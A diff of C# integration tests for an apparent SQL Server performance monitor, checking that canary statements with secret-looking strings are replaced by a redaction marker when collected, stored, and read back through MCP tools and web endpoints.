+    private static async Task<(string Story, string? Drill)> ReadFindingAsync(NpgsqlConnection connection, string hash)
+    {
+        using var command = new NpgsqlCommand(
+            "SELECT story_text, drill_down_json FROM analysis_findings WHERE server_id = $1 AND story_path_hash = $2", connection);
+        command.Parameters.AddWithValue(FindingServer);
+        command.Parameters.AddWithValue(hash);
+        await using var reader = await command.ExecuteReaderAsync(Ct);
+        Assert.True(await reader.ReadAsync(Ct));
+        return (reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1));
+    }
+
+    private static AnalysisContext Context()
+    {
+        var end = DateTime.UtcNow;
+        return new AnalysisContext
+        {
+            ServerId = FindingServer,
+            ServerName = "derived-scrub-finding",
+            TimeRangeStart = end.AddHours(-4),
+            TimeRangeEnd = end,
+            ServerUtcOffset = TimeSpan.Zero,
+        };
+    }
+
+    [Fact]
+    public async Task AFindingBuiltFromARawPlantedRowStoresTheMarker()
+    {
+        await RunLiveAsync(async (postgres, connection) =>
+        {
+            var store = new PgFindingStore(postgres);
+            var raw = Finding("rawcanary01", "Blocked on " + StatementScrubCanary.CanaryStatement,
+                DrillDown(StatementScrubCanary.CanaryStatement));
+            var plainDrill = DrillDown(StatementScrubCanary.PlainStatement);
+            var plain = Finding("plaincanary01", "Waits rose on " + StatementScrubCanary.PlainStatement, plainDrill);
+
+            await store.InsertFindingsAsync(new List<AnalysisFinding> { raw, plain }, Context());
+
+            var (story, drill) = await ReadFindingAsync(connection, "rawcanary01");
+            Assert.Equal(SensitiveStatements.PlaceholderText, story);
+            Assert.NotNull(drill);
+            foreach (var needle in StatementScrubCanary.SecretNeedles)
+            {
+                Assert.DoesNotContain(needle, drill, StringComparison.Ordinal);
+            }
+            Assert.Contains(SensitiveStatements.PlaceholderText, drill, StringComparison.Ordinal);
+            using (JsonDocument.Parse(drill!)) { }
+
+            /* The clean finding is stored byte for byte as the serializer wrote it. */
+            var (plainStory, plainDrillStored) = await ReadFindingAsync(connection, "plaincanary01");
+            Assert.Equal("Waits rose on " + StatementScrubCanary.PlainStatement, plainStory);
+            Assert.Equal(DrillDownSerializer.Serialize(plainDrill), plainDrillStored);
+        });
+    }
+
+    [Fact]
+    public async Task AnAlertBuiltFromARawPlantedRowStoresTheMarker()
+    {
+        await RunLiveAsync(async (postgres, connection) =>
+        {
+            var store = new PgAlertHistoryStore(postgres);
+            var contextJson = JsonSerializer.Serialize(new { dedup = "abc123", query_text = StatementScrubCanary.CanaryStatement });
+            var plainContext = JsonSerializer.Serialize(new { dedup = "abc124", query_text = StatementScrubCanary.PlainStatement });
+
+            await store.RecordAlertAsync(new AlertHistoryRecord(
+                AlertServer.ToString(System.Globalization.CultureInfo.InvariantCulture), "derived-scrub-alert", "Scrub Raw",
+                "1", "1", 1, 1, AlertDelivery.NoChannelApplies(), false,
+                "Long query: " + StatementScrubCanary.CanaryStatement, contextJson));
+            await store.RecordAlertAsync(new AlertHistoryRecord(
+                AlertServer.ToString(System.Globalization.CultureInfo.InvariantCulture), "derived-scrub-alert", "Scrub Plain",
+                "1", "1", 1, 1, AlertDelivery.NoChannelApplies(), false,
+                "Long query: " + StatementScrubCanary.PlainStatement, plainContext));
+
+            using var read = new NpgsqlCommand(
+                "SELECT metric_name, detail_text, context_json FROM config_alert_log WHERE server_id = $1", connection);
+            read.Parameters.AddWithValue(AlertServer);
+            var rows = new Dictionary<string, (string? Detail, string? Context)>();
+            await using (var reader = await read.ExecuteReaderAsync(Ct))
+            {
+                while (await reader.ReadAsync(Ct))
+                {
+                    rows[reader.GetString(0)] = (reader.IsDBNull(1) ? null : reader.GetString(1), reader.IsDBNull(2) ? null : reader.GetString(2));
+                }
+            }
+
+            Assert.Equal(2, rows.Count);
+            var raw = rows["Scrub Raw"];
+            Assert.Equal(SensitiveStatements.PlaceholderText, raw.Detail);
+            foreach (var needle in StatementScrubCanary.SecretNeedles)
+            {
+                Assert.DoesNotContain(needle, raw.Context, StringComparison.Ordinal);
+            }
+            Assert.Contains(SensitiveStatements.PlaceholderText, raw.Context, StringComparison.Ordinal);
+            Assert.Contains("abc123", raw.Context, StringComparison.Ordinal);
+
+            var plain = rows["Scrub Plain"];
+            Assert.Equal("Long query: " + StatementScrubCanary.PlainStatement, plain.Detail);
+            Assert.Equal(plainContext, plain.Context);
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubEndToEndLiveTests.cs b/Darling/Darling.Tests/StatementScrubEndToEndLiveTests.cs
new file mode 100644
index 0000000000..b33e598d22
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubEndToEndLiveTests.cs
@@ -0,0 +1,639 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Data.Common;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348 (statement filter), the end-to-end proof for the Darling store: a new row holds the marker, and an old row
+/// reads back as the marker without being changed.
+///
+/// <para><b>Collect.</b> The canary goes in as the rows a monitored server would return (a fake target provider
+/// hands the runner a reader over a table), and <see cref="DarlingCollectorRunner.RunAsync"/> runs the real
+/// definition: read, filter, delta, dedupe, write. The stored row is then read straight from the rig store.
+/// query_stats and deadlocks take the Azure per-database path of the runner, and query_snapshots the server-wide
+/// path, so both loops are covered.</para>
+///
+/// <para><b>Read.</b> Rows are planted straight into the tables, as rows stored before the upgrade would be. The tool
+/// reads RAW (the control: the canary must still be there, so the plant reached the output), then through the
+/// host's real filter list (the MCP read) and through the web read's result writer (<c>/api/read/*</c>). Both must
+/// show the marker and no secret needle. The planted table's bytes are hashed before the reads and after: a read
+/// never rewrites a stored row.</para>
+///
+/// <para><b>#1776 own-store</b> - every row is keyed by this class's own fake server ids and removed in the cleanup.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementScrubEndToEndLiveTests
+{
+    private const string SkipReason = "Set DARLING_TEST_PG to a Postgres connection string to run the statement filter end-to-end tests.";
+    private const string Db = "SsfE2eDb";
+    private static readonly DateTime Anchor = new(2031, 6, 10, 12, 0, 0, DateTimeKind.Unspecified);
+
+    private const int CollectStatsId = -495101;
+    private const int CollectSnapshotsId = -495102;
+    private const int CollectDeadlocksId = -495103;
+    private const int ReadStatsId = -495111;
+    private const int ReadSnapshotsId = -495112;
+    private const int ReadDeadlocksId = -495113;
+
+    private static readonly int[] AllIds =
+    {
+        CollectStatsId, CollectSnapshotsId, CollectDeadlocksId, ReadStatsId, ReadSnapshotsId, ReadDeadlocksId,
+    };
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string NameOf(int id) => "darling-ssf-e2e" + id.ToString(System.Globalization.CultureInfo.InvariantCulture);
+
+    // ── collect ──
+
+    [Fact]
+    public async Task QueryStats_TheCanaryThroughTheRunner_IsStoredAsTheMarker_ThePlainStatementIsKept_AndThePlanIsFiltered()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await OpenAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator(), null, capturePlans: () => true);
+            runner.TargetProviderOverrideForTests = _ => new FakeTargetProvider(_ => QueryStatsReader());
+            runner.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "alpha" });
+
+            await runner.RunAsync(QueryStatsCollector.Instance, Server(CollectStatsId, azure: true), ct);
+
+            var texts = await ScalarListAsync(connection,
+                "SELECT query_hash || '|' || COALESCE(query_text, '<null>') FROM v_query_stats WHERE server_id = " + CollectStatsId + " ORDER BY query_hash", ct);
+            Assert.Equal(new[] { "0xC0|" + StatementFilterCensus.Marker, "0xP0|" + StatementScrubCanary.PlainStatement }, texts);
+
+            string? plan = await StoredPlanAsync(connection, CollectStatsId, "0xC0", ct);
+            Assert.False(string.IsNullOrEmpty(plan), "the canary row's stored plan did not resolve, so the plan check proves nothing");
+            StatementFilterCensus.AssertPlanFilteredKeepsTheRest(StatementScrubCanary.CanaryPlan(), plan!);
+            AssertNoSecret(await WholeTableTextAsync(connection, "query_stats", CollectStatsId, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_TheCanaryThroughTheRunnersServerWidePath_IsStoredAsTheMarker_AndBothPlansAreFiltered()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await OpenAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            /* #5320: the runner's server-wide path, driven through the same fake target provider the per-database cases
+               use (the runner opens its server-wide connection through that provider), so the whole run is covered:
+               read, filter, delta, dedupe, write. */
+            var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator(), null, capturePlans: () => true);
+            runner.TargetProviderOverrideForTests = _ => new FakeTargetProvider(_ => SnapshotsReader());
+
+            await runner.RunAsync(QuerySnapshotsCollector.Instance, Server(CollectSnapshotsId, azure: false), ct);
+
+            var rows = await ScalarListAsync(connection,
+                "SELECT session_id::text || '|' || COALESCE(query_text, '<null>') FROM query_snapshots WHERE server_id = " + CollectSnapshotsId + " ORDER BY session_id", ct);
+            Assert.Equal(new[] { "81|" + StatementFilterCensus.Marker, "82|" + StatementScrubCanary.PlainStatement }, rows);
+
+            foreach (string column in new[] { "query_plan", "live_query_plan" })
+            {
+                var plans = await ScalarListAsync(connection,
+                    "SELECT " + column + " FROM query_snapshots WHERE server_id = " + CollectSnapshotsId + " AND session_id = 81 AND " + column + " IS NOT NULL", ct);
+                string plan = Assert.Single(plans);
+                StatementFilterCensus.AssertPlanFilteredKeepsTheRest(StatementScrubCanary.CanaryPlan(), plan);
+            }
+
+            AssertNoSecret(await WholeTableTextAsync(connection, "query_snapshots", CollectSnapshotsId, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task Deadlocks_TheCanaryThroughTheRunner_IsStoredAsTheMarker_InTheVictimTextAndTheGraph()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await OpenAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+            bool withPlan = runner.ShouldCapturePlanXmlFor(DeadlocksCollector.Instance.Name, CollectDeadlocksId);
+            runner.TargetProviderOverrideForTests = _ => new FakeTargetProvider(_ => DeadlocksReader(withPlan));
+            runner.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "alpha" });
+
+            await runner.RunAsync(DeadlocksCollector.Instance, Server(CollectDeadlocksId, azure: true), ct);
+
+            var victims = await ScalarListAsync(connection,
+                "SELECT COALESCE(victim_sql_text, '<null>') FROM deadlocks WHERE server_id = " + CollectDeadlocksId + " ORDER BY deadlock_time", ct);
+            Assert.Equal(new[] { StatementFilterCensus.Marker, StatementScrubCanary.PlainStatement }, victims);
+
+            var graphs = await ScalarListAsync(connection,
+                "SELECT deadlock_graph_xml FROM deadlocks WHERE server_id = " + CollectDeadlocksId + " ORDER BY deadlock_time", ct);
+            foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, graphs[0], StringComparison.Ordinal);
+            Assert.Contains(StatementFilterCensus.Marker, graphs[0], StringComparison.Ordinal);
+            Assert.Contains(StatementScrubCanary.PlainStatement, graphs[1], StringComparison.Ordinal);
+
+            AssertNoSecret(await WholeTableTextAsync(connection, "deadlocks", CollectDeadlocksId, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    // ── read ──
+
+    [Fact]
+    public async Task QueryStats_ARowStoredBeforeTheUpgrade_ReadsBackAsTheMarker_OnTheMcpAndTheWebRead_AndTheStoredRowIsUnchanged()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await OpenAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        using var host = await StatementFilterCensus.BuildHostAsync();
+        var bodySucceeded = false;
+        try
+        {
+            string server = NameOf(ReadStatsId);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ReadStatsId, server, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var seeds = new[] { (StatementScrubCanary.CanaryStatement, "C", StatementScrubCanary.CanaryPlan()), (StatementScrubCanary.PlainStatement, "P", (string?)null) };
+            for (int i = 0; i < seeds.Length; i++)
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle, query_text, query_plan_xml,
+                                       delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, min_dop, max_dop, sample_interval_seconds)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-30 - i)), ReadStatsId, server, Db,
+                    "0xQH" + seeds[i].Item2, "0xPLAN" + seeds[i].Item2, "0xSQLH" + seeds[i].Item2, "0xPLANH" + seeds[i].Item2,
+                    seeds[i].Item1, seeds[i].Item3,
+                    10L, 1_000_000L, 2_000_000L, 5_000L, 1, 1, 60);
+            }
+
+            string before = await TableHashAsync(connection, "query_stats", ReadStatsId, ct);
+
+            string raw = await DarlingMcpDataTools.GetTopQueriesByCpu(postgres, server, cancellationToken: ct);
+            /* #5320: since PR C these tools judge the statement text at the read itself (McpHelpers.TruncateStatement), so the
+               tool answer already carries the marker and none of the named text; the host filter and the web sweep that
+               follow must still hold it. */
+            foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, raw, StringComparison.Ordinal);
+            Assert.Contains(StatementFilterCensus.Marker, raw, StringComparison.Ordinal);
+            await AssertMcpAndWebAsync(host, "get_top_queries_by_cpu", raw);
+
+            string rawPlan = await DarlingMcpPlanTools.GetPlanXml(postgres, "0xQHC", server, cancellationToken: ct);
+            string filteredPlan = (await StatementFilterCensus.FilterThroughHostAsync(host, rawPlan)).Text;
+            foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, filteredPlan, StringComparison.Ordinal);
+            Assert.Contains(StatementFilterCensus.Marker, filteredPlan, StringComparison.Ordinal);
+            Assert.Contains("canary_plain_ssf", filteredPlan, StringComparison.Ordinal);
+            /* The web route wraps the tool's plan in its JSON envelope before the sweep writes it. */
+            var (planStatus, planBody) = await WebReadAsync("get_plan_xml", DarlingWebEndpoints.WrapPlanXml(rawPlan, "0xQHC", Db));
+            Assert.Equal(200, planStatus);
+            foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, planBody, StringComparison.Ordinal);
+            Assert.Contains(StatementFilterCensus.Marker, planBody, StringComparison.Ordinal);
+
+            Assert.Equal(before, await TableHashAsync(connection, "query_stats", ReadStatsId, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_ARowStoredBeforeTheUpgrade_ReadsBackAsTheMarker_OnTheMcpAndTheWebRead_AndTheStoredRowIsUnchanged()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await OpenAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        using var host = await StatementFilterCensus.BuildHostAsync();
+        var bodySucceeded = false;
+        try
+        {
+            string server = NameOf(ReadSnapshotsId);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ReadSnapshotsId, server, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            var texts = new[] { StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement };
+            for (int i = 0; i < texts.Length; i++)
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, elapsed_time_formatted, query_text, status, blocking_session_id, wait_type, wait_time_ms, cpu_time_ms, total_elapsed_time_ms, reads, writes, logical_reads, granted_query_memory_gb, transaction_isolation_level, dop, parallel_worker_count, login_name, host_name, program_name, open_transaction_count, request_id, wait_resource, percent_complete, query_hash)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-5 - i)), ReadSnapshotsId, server, 100 + i, Db,
+                    "00 00:00:05.125", texts[i], "running", 0, null, 0L, 1000L, 1500L, 10_000L, 50L, 7L, 0m,
+                    "Read Committed", 1, 0, "app_svc", "APPSRV01", "MyOrderService.Worker", 0, 0,
+                    "KEY: 5:72057594043432960 (a1b2c3d4e5f6)", 12.5m, "0x" + (0x1A2B3C4D5E6F7080L + i).ToString("X16"));
+            }
+
+            string before = await TableHashAsync(connection, "query_snapshots", ReadSnapshotsId, ct);
+
+            string raw = await DarlingMcpSessionTools.GetActiveQueries(postgres, server, cancellationToken: ct);
+            /* #5320: since PR C these tools judge the statement text at the read itself (McpHelpers.TruncateStatement), so the
+               tool answer already carries the marker and none of the named text; the host filter and the web sweep that
+               follow must still hold it. */
+            foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, raw, StringComparison.Ordinal);
+            Assert.Contains(StatementFilterCensus.Marker, raw, StringComparison.Ordinal);
+            await AssertMcpAndWebAsync(host, "get_active_queries", raw);
+
+            Assert.Equal(before, await TableHashAsync(connection, "query_snapshots", ReadSnapshotsId, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task Deadlocks_ARowStoredBeforeTheUpgrade_ReadsBackAsTheMarker_OnTheMcpAndTheWebRead_AndTheStoredRowIsUnchanged()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = await OpenAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        using var host = await StatementFilterCensus.BuildHostAsync();
+        var bodySucceeded = false;
+        try
+        {
+            string server = NameOf(ReadDeadlocksId);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ReadDeadlocksId, server, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml, victim_process_id, victim_sql_text, database_name)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-5)), ReadDeadlocksId, server,
+                DarlingMcpTestData.Naive(now.AddMinutes(-6)), Graph(StatementScrubCanary.CanaryStatement, StatementScrubCanary.PlainStatement),
+                "p1", StatementScrubCanary.CanaryStatement, Db);
+
+            string before = await TableHashAsync(connection, "deadlocks", ReadDeadlocksId, ct);
+
+            string raw = await DarlingMcpBlockingTools.GetDeadlockDetail(postgres, server, full_graph: true, cancellationToken: ct);
+            Assert.Contains("S3cret-canary-ssf", raw, StringComparison.Ordinal);
+            await AssertMcpAndWebAsync(host, "get_deadlock_detail", raw);
+
+            Assert.Equal(before, await TableHashAsync(connection, "deadlocks", ReadDeadlocksId, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    // ── plumbing ──
+
+    /// <summary>The plan a stored row resolves to through the view, the way every reader sees it (inline, or diverted to the plan dimension).</summary>
+    private static async Task<string?> StoredPlanAsync(NpgsqlConnection connection, int serverId, string queryHash, CancellationToken ct)
+    {
+        await using var read = new NpgsqlCommand(
+            "SELECT query_plan_xml, query_plan_gz FROM v_query_stats WHERE server_id = $1 AND query_hash = $2", connection);
+        read.Parameters.AddWithValue(serverId);
+        read.Parameters.AddWithValue(queryHash);
+        await using var reader = await read.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct), "the row must exist");
+        return PayloadDimensions.ResolveContent(
+            reader.IsDBNull(0) ? null : reader.GetString(0),
+            reader.IsDBNull(1) ? null : reader.GetFieldValue<byte[]>(1));
+    }
+
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+
+    private static async Task WriteBatchAsync<TRow>(
+        NpgsqlConnection connection, ICollectorDefinition<TRow> definition, CollectorContext context, IReadOnlyList<TRow> rows, CancellationToken ct)
+    {
+        var writer = new PgCollectorRowWriter();
+        var dimensions = new PayloadDimensionBatch();
+        writer.UseDimensions(PayloadDimensions.DiversionPlanFor(definition), dimensions);
+
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+        using (var importer = await connection.BeginBinaryImportAsync(PgCollectorRowWriter.CopyCommandFor(definition), ct))
+        {
+            writer.Importer = importer;
+            foreach (var row in rows)
+            {
+                await importer.StartRowAsync(ct);
+                writer.Value(CollectionIdGenerator.Next());
+                writer.Value(context.CollectionTime).Value(context.ServerId).Value(context.ServerName);
+                writer.BeginPayload();
+                definition.WritePayload(row, writer, context);
+                writer.EndPayload(definition.PayloadColumns.Count);
+            }
+
+            await importer.CompleteAsync(ct);
+        }
+
+        await PayloadDimensionWriter.FlushAsync(connection, transaction, dimensions, context.CollectionTime, ct);
+        await transaction.CommitAsync(ct);
+    }
+
+    private static async Task AssertMcpAndWebAsync(Microsoft.AspNetCore.TestHost.TestServer host, string tool, string raw)
+    {
+        string filtered = (await StatementFilterCensus.FilterThroughHostAsync(host, raw)).Text;
+        try
+        {
+            StatementFilterCensus.AssertFilteredWithholdsTheCanary(raw, filtered);
+        }
+        catch (Exception ex)
+        {
+            throw new Xunit.Sdk.XunitException(tool + " (MCP): " + ex.Message);
+        }
+
+        var (status, body) = await WebReadAsync(tool, raw);
+        Assert.Equal(200, status);
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, body, StringComparison.Ordinal);
+        Assert.Contains(StatementFilterCensus.Marker, body, StringComparison.Ordinal);
+        Assert.Contains("canary_plain_ssf", body, StringComparison.Ordinal);
+    }
+
+    private static async Task<(int Status, string Body)> WebReadAsync(string tool, string raw)
+    {
+        var result = DarlingWebEndpoints.ToHttpResult(raw, "/api/read/" + tool, NullLogger.Instance, 1);
+        var context = new DefaultHttpContext { RequestServices = new ServiceCollection().AddLogging().BuildServiceProvider() };
+        context.Response.Body = new MemoryStream();
+        await result.ExecuteAsync(context);
+        context.Response.Body.Position = 0;
+        return (context.Response.StatusCode, Encoding.UTF8.GetString(((MemoryStream)context.Response.Body).ToArray()));
+    }
+
+    private static void AssertNoSecret(string text)
+    {
+        foreach (string needle in StatementScrubCanary.SecretNeedles) Assert.DoesNotContain(needle, text, StringComparison.Ordinal);
+    }
+
+    private static string Graph(string victimText, string otherText) =>
+        "<deadlock><victim-list><victimProcess id=\"p1\"/></victim-list><process-list>"
+        + "<process id=\"p1\" spid=\"55\" waittime=\"100\" lockMode=\"X\" currentdbname=\"" + Db + "\"><executionStack/><inputbuf>"
+        + System.Security.SecurityElement.Escape(victimText) + "</inputbuf></process>"
+        + "<process id=\"p2\" spid=\"56\" waittime=\"200\" lockMode=\"S\" currentdbname=\"" + Db + "\"><executionStack/><inputbuf>"
+        + System.Security.SecurityElement.Escape(otherText) + "</inputbuf></process>"
+        + "</process-list><resource-list/></deadlock>";
+
+    private static ServerRuntime Server(int id, bool azure) => new()
+    {
+        Config = new MonitoredServer { Name = NameOf(id), Host = "h" },
+        ConnectionString = "Server=azure;Database=master",
+        Target = azure
+            ? new CollectorTargetInfo { IsAzureSqlDb = true, Engine = CollectorTargetEngine.SqlServer }
+            : new CollectorTargetInfo { SqlMajorVersion = 15, Engine = CollectorTargetEngine.SqlServer },
+        StorageName = NameOf(id),
+        ServerId = id,
+    };
+
+    private static async Task<NpgsqlConnection> OpenAsync(string cs, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (int id in AllIds)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                $"DELETE FROM query_snapshots WHERE server_id = {id}; DELETE FROM query_stats WHERE server_id = {id}; " +
+                $"DELETE FROM deadlocks WHERE server_id = {id}; DELETE FROM collector_state WHERE server_id = {id}; " +
+                $"DELETE FROM servers WHERE server_id = {id}; DELETE FROM config_monitored_servers WHERE server_id = {id};");
+        }
+    }
+
+    private static async Task<List<string>> ScalarListAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        var list = new List<string>();
+        await using var command = new NpgsqlCommand(sql, connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            list.Add(reader.IsDBNull(0) ? "<null>" : reader.GetString(0));
+        }
+
+        return list;
+    }
+
+    /// <summary>Every column of every row of one server in a table, as one text, for a whole-row secret scan.</summary>
+    private static async Task<string> WholeTableTextAsync(NpgsqlConnection connection, string table, int serverId, CancellationToken ct) =>
+        string.Concat(await ScalarListAsync(connection, $"SELECT t::text FROM {table} t WHERE server_id = {serverId}", ct));
+
+    /// <summary>A hash of the bytes of every row of one server in a table: equal before and after means no read rewrote a row.</summary>
+    private static async Task<string> TableHashAsync(NpgsqlConnection connection, string table, int serverId, CancellationToken ct)
+    {
+        var hash = await ScalarListAsync(connection,
+            $"SELECT md5(COALESCE(string_agg(t::text, E'\\n' ORDER BY t::text), '')) || '|' || count(*)::text FROM {table} t WHERE server_id = {serverId}", ct);
+        return Assert.Single(hash);
+    }
+
+    // ── what the monitored server hands back ──
+
+    private static Type QueryStatsColumnType(int ordinal) => ordinal switch
+    {
+        3 or 4 => typeof(DateTime),
+        0 or 1 or 2 or 36 or 37 or 38 or 42 => typeof(string),
+        40 or 41 or 43 => typeof(int),
+        _ => typeof(long),
+    };
+
+    private static DbDataReader QueryStatsReader()
+    {
+        var table = new DataTable();
+        for (var i = 0; i < 44; i++) table.Columns.Add("c" + i.ToString(System.Globalization.CultureInfo.InvariantCulture), QueryStatsColumnType(i));
+        table.Columns.Add("query_plan_xml", typeof(string));
+        table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        foreach (var (hash, text, plan) in new[]
+        {
+            ("0xC0", StatementScrubCanary.CanaryStatement, StatementScrubCanary.CanaryPlan()),
+            ("0xP0", StatementScrubCanary.PlainStatement, (string?)null),
+        })
+        {
+            var values = new object[table.Columns.Count];
+            for (var i = 0; i < values.Length; i++) values[i] = DBNull.Value;
+            values[1] = hash;
+            values[36] = hash + "A";
+            values[37] = hash + "B";
+            values[38] = text;
+            values[44] = (object?)plan ?? DBNull.Value;
+            values[45] = (long)(plan?.Length ?? 0);
+            table.Rows.Add(values);
+        }
+
+        return table.CreateDataReader();
+    }
+
+    private static DbDataReader SnapshotsReader()
+    {
+        var table = new DataTable();
+        var types = new Type[35];
+        for (var i = 0; i < types.Length; i++) types[i] = typeof(string);
+        foreach (int i in new[] { 0, 7, 18, 19, 23, 34 }) types[i] = typeof(int);
